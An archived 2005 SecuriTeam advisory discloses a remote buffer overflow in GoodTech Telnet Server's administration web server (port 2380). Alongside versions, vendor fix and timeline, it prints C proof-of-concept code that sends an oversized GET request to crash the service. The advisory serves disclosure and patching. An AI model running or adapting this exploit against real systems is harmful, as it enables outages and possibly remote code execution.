

[NT] GoodTech Telnet Server Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0074.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/17/05

To: list@securiteam.com

Date: 17 Mar 2005 09:33:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GoodTech Telnet Server Buffer Overflow Vulnerability

SUMMARY

<<http://www.goodtechsys.com/telnetnt2000.asp>> GoodTech Telnet Server turns "a Windows NT/2000/XP/2003 system into a multi-user Telnet server". GoodTech's administration web server interface is vulnerable to a remote buffer overflow, allowing a malicious attacker to run arbitrary commands on a vulnerable machine.

DETAILS

Vulnerable Systems:

- * GoodTech Telnet Server version 5.0.6 and prior

Immune Systems:

- * GoodTech Telnet Server version 5.0.7 or newer

The GoodTech program runs an administration web server (default port 2380). By sending a very long string (10040 bytes) suffixed by two newline characters, a remote attacker can trigger a buffer overflow vulnerability, overwriting the instruction pointer and giving the possibility to execute arbitrary code remotely in the LOCAL_SYSTEM

Securiteam: [NT] GoodTech Telnet Server Buffer Overflow Vulnerability

```
if (argc < 2){
    printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
    printf("Options:\r\n");
    printf("IP address\tThe IP address of the computer running GoodTech
Telnet Server\r\n");
    exit(0);
}

mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);

sock = socket(AF_INET, SOCK_STREAM, 0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(2380); /* Administration web server port */
sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
if(err<0){
    printf("Unable to connect() to %s\n", argv[1]);
    exit(-1);
}

strcpy (mex, "GET /");

for(i = strlen(mex); i < 10032; i++)
    mex[i]= 'a';
mex[i]=0;

strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
strcat(mex, "\r\n\r\n");

printf("Sending %d bytes....\n\n", strlen(mex));
n=send(sock, mex , strlen(mex), 0);

n=recv(sock, risp, sizeof(risp), 0);
if (n < 0)
    printf("GoodTech Telnet Server succesfully crashed!!\n");
else{
    risp[n]=0;
    printf("%s\n", risp);
}

closesocket(sock);
WSACleanup();
return 0;
}
```

The original proof of concept code can be found at:
<<http://unsecure.altervista.org/security/gtscrash.c.txt>>
<http://unsecure.altervista.org/security/gtscrash.c.txt>

Securiteam: [NT] GoodTech Telnet Server Buffer Overflow Vulnerability

Vendor Status:

Vendor was notified on 14/03/2005. The vendor released a fix in the new version 5.0.7

See to download the new fixed version.

Disclosure Timeline:

11/03/2005 – Vulnerability found.

14/03/2005 – Vendor contacted.

15/03/2005 – Vendor reply.

15/03/2005 – Vulnerability fixed. A new version of GoodTech Telnet Server is now available at the vendor's website at: <<http://www.goodtechsys.com>>
<http://www.goodtechsys.com>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:unsecure@altermvista.org>>
Komrade.

The original article can be found at:

<<http://unsecure.altermvista.org/security/goodtechtelnet.htm>>
<http://unsecure.altermvista.org/security/goodtechtelnet.htm>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.